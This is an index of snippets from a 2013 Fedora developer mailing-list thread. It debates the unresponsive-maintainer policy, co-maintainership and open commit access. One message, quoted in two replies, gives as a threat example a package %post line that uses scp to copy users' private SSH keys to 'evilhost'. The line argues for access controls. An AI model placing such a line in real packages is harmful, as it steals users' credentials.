Re: Question about "what to do if mantainer is absent"

2013-05-17 Thread Michael Scherer
Le mercredi 15 mai 2013 à 11:40 -0700, Adam Williamson a écrit : > On Wed, 2013-05-15 at 12:21 -0600, Pete Zaitcev wrote: > > On Tue, 14 May 2013 20:03:41 -0500 > > Michael Catanzaro wrote: > > > > > Well the open model has already been tried and proven in openSUSE, and > > > they're still using

Re: Question about "what to do if mantainer is absent"

2013-05-15 Thread Kevin Fenzi
On Wed, 15 May 2013 15:06:14 -0600 Ken Dreyer wrote: > You can always drop the co-maintainership after you've got the ACLs > and done your work :) > > Speaking for myself, if I see someone's contributed a good patch in > Bugzilla, I'd much sooner add them as a co-maintainer (even if it's > just

Re: Question about "what to do if mantainer is absent"

2013-05-15 Thread Ken Dreyer
On Tue, May 14, 2013 at 7:56 PM, Michael Catanzaro wrote: >> You can even now also mention in your bug that you are a packager and >> would be willing to co-maintain. Not everyone would be interested, but >> I suspect a lot of maintainers would be happy for the help and would >> add you to make yo

Re: Question about "what to do if mantainer is absent"

2013-05-15 Thread Michael Catanzaro
On Wed, 2013-05-15 at 12:21 -0600, Pete Zaitcev wrote: > How do they deal with a conflict? Imagine someone there splitting > texlive into 2500 subpackages and then 100 angry contributors > reverting it. What are they going to do in their "open" model then? > > -- Pete Well the maintainers would ju

Re: Question about "what to do if mantainer is absent"

2013-05-15 Thread Jóhann B. Guðmundsson
On 05/15/2013 01:56 AM, Michael Catanzaro wrote: I doubt that model would be accepted in Fedora, though. Different cultures. Which difference in culture do you see? JBG -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel

Re: Question about "what to do if mantainer is absent"

2013-05-15 Thread Adam Williamson
On Wed, 2013-05-15 at 12:21 -0600, Pete Zaitcev wrote: > On Tue, 14 May 2013 20:03:41 -0500 > Michael Catanzaro wrote: > > > Well the open model has already been tried and proven in openSUSE, and > > they're still using it because it actually works really well. There > > aren't usually any issue

Re: Question about "what to do if mantainer is absent"

2013-05-15 Thread Pete Zaitcev
On Tue, 14 May 2013 20:03:41 -0500 Michael Catanzaro wrote: > Well the open model has already been tried and proven in openSUSE, and > they're still using it because it actually works really well. There > aren't usually any issues regarding overlap of work, though admittedly > that community is

Re: Question about "what to do if mantainer is absent"

2013-05-15 Thread Kevin Fenzi
On Tue, 14 May 2013 20:56:59 -0500 Michael Catanzaro wrote: > Well I mean, someone actually has to press the OK button, or the > change doesn't happen. Sometimes that can cause delays, at least for > big undermanned projects (GNOME in openSUSE isn't too popular). But > usually it works really wel

Re: Question about "what to do if mantainer is absent"

2013-05-14 Thread Mathieu Bridon
On Tue, 2013-05-14 at 20:56 -0500, Michael Catanzaro wrote: > On Tue, 2013-05-14 at 19:09 -0600, Kevin Fenzi wrote: > Plus I mainly use GNOME programs, and GNOME maintainership in Fedora > seems to be something of an exclusive cabel anyway (can't complain -- > Fedora has the best GNOME, period). T

Re: Question about "what to do if mantainer is absent"

2013-05-14 Thread Michael Catanzaro
On Tue, 2013-05-14 at 19:09 -0600, Kevin Fenzi wrote: > Sure, we have a scm-commits list as well. I don't read every commit, > but I do skim them. I can think of lots of times people pointed out > issues they saw in the commit messages. Well I mean, someone actually has to press the OK button, or

Re: Question about "what to do if mantainer is absent"

2013-05-14 Thread Rahul Sundaram
On 05/14/2013 09:09 PM, Kevin Fenzi wrote: You can even now also mention in your bug that you are a packager and would be willing to co-maintain. Not everyone would be interested, but I suspect a lot of maintainers would be happy for the help and would add you to make your change Yes assuming

Re: Question about "what to do if mantainer is absent"

2013-05-14 Thread Kevin Fenzi
On Tue, 14 May 2013 20:03:41 -0500 Michael Catanzaro wrote: > Well the open model has already been tried and proven in openSUSE, and > they're still using it because it actually works really well. There > aren't usually any issues regarding overlap of work, though admittedly > that community is

Re: Question about "what to do if mantainer is absent"

2013-05-14 Thread Michael Catanzaro
On Tue, 2013-05-14 at 14:20 -0600, Kevin Fenzi wrote: > On Tue, 14 May 2013 21:04:59 +0100 > "Richard W.M. Jones" wrote: > > > I suspect the main one is someone putting: > > > > %post > > scp /home/*/.ssh/id_rsa evilhost: > > > > into a commonly used package, or something equivalent but more su

Re: Question about "what to do if mantainer is absent"

2013-05-14 Thread Kevin Fenzi
On Tue, 14 May 2013 18:32:14 + "Jóhann B. Guðmundsson" wrote: > Oh Fesco is only busy but the rest of the community is not omg let me > not waste your holy time sir... I did not say you were not busy, just that it's pretty clear that fesco members are. ...snip... > > I have no idea what

Re: Question about "what to do if mantainer is absent"

2013-05-14 Thread Kevin Fenzi
On Tue, 14 May 2013 21:04:59 +0100 "Richard W.M. Jones" wrote: > I suspect the main one is someone putting: > > %post > scp /home/*/.ssh/id_rsa evilhost: > > into a commonly used package, or something equivalent but more subtle > than that. > > Basically you're giving root access to everyone w

Re: Question about "what to do if mantainer is absent"

2013-05-14 Thread Richard W.M. Jones
On Tue, May 14, 2013 at 11:45:40AM -0600, Kevin Fenzi wrote: > On Tue, 14 May 2013 17:13:54 + > "Jóhann B. Guðmundsson" wrote: > > What really is needed here is to drop the user ownership module > > altogether and allow every contribute access to every component or > > use group ownership mod

Re: Question about "what to do if mantainer is absent"

2013-05-14 Thread Rahul Sundaram
On 05/14/2013 02:32 PM, "Jóhann B. Guðmundsson" wrote: On 05/14/2013 05:45 PM, Kevin Fenzi wrote: Yeah, I sure do know... Fesco folks are busy and doing lots of things in the areas they contribute to, so if people really want to move things forward, perhaps they should work on some ideas themsel

Re: Question about "what to do if mantainer is absent"

2013-05-14 Thread Josh Boyer
On Tue, May 14, 2013 at 2:32 PM, "Jóhann B. Guðmundsson" wrote: >> On 05/14/2013 05:45 PM, Kevin Fenzi wrote: > > On Tue, 14 May 2013 17:13:54 + >>> "Jóhann B. Guðmundsson" wrote: >>> The unresponsive maintainers policy is to be honest crap and to much >>> in favor of the maintainer. >>> >>>

Re: Question about "what to do if mantainer is absent"

2013-05-14 Thread Bruno Wolff III
On Tue, May 14, 2013 at 18:32:14 +, "\"Jóhann B. Guðmundsson\"" wrote: Oh Fesco is only busy but the rest of the community is not omg let me not waste your holy time sir... Everybody is busy. I think the point is, that if this is something you find very important, you may want to real

Re: Question about "what to do if mantainer is absent"

2013-05-14 Thread Jóhann B. Guðmundsson
On 05/14/2013 05:45 PM, Kevin Fenzi wrote: On Tue, 14 May 2013 17:13:54 + "Jóhann B. Guðmundsson" wrote: On 05/14/2013 01:51 PM, Simone Caronni wrote: I have a question about the unresponsive mantainer policy [1]. The unresponsive maintainers policy is to be honest crap and to much in fa

Re: Question about "what to do if mantainer is absent"

2013-05-14 Thread Kevin Fenzi
On Tue, 14 May 2013 17:13:54 + "Jóhann B. Guðmundsson" wrote: > On 05/14/2013 01:51 PM, Simone Caronni wrote: > > > > I have a question about the unresponsive mantainer policy [1]. > > The unresponsive maintainers policy is to be honest crap and to much > in favor of the maintainer. > > Fes

Re: Question about "what to do if mantainer is absent"

2013-05-14 Thread Jóhann B. Guðmundsson
On 05/14/2013 01:51 PM, Simone Caronni wrote: I have a question about the unresponsive mantainer policy [1]. The unresponsive maintainers policy is to be honest crap and to much in favor of the maintainer. Fesco allegedly was looking into it but you know... What really is needed here is to

Question about "what to do if mantainer is absent"

2013-05-14 Thread Simone Caronni
Hello, I have a question about the unresponsive mantainer policy [1]. What is the procedure to follow if a mantainer is kindly responding to personal emails and granting access (really rarely) but is not giving ownership of the packages even after years of inactivity? I've been working mostly al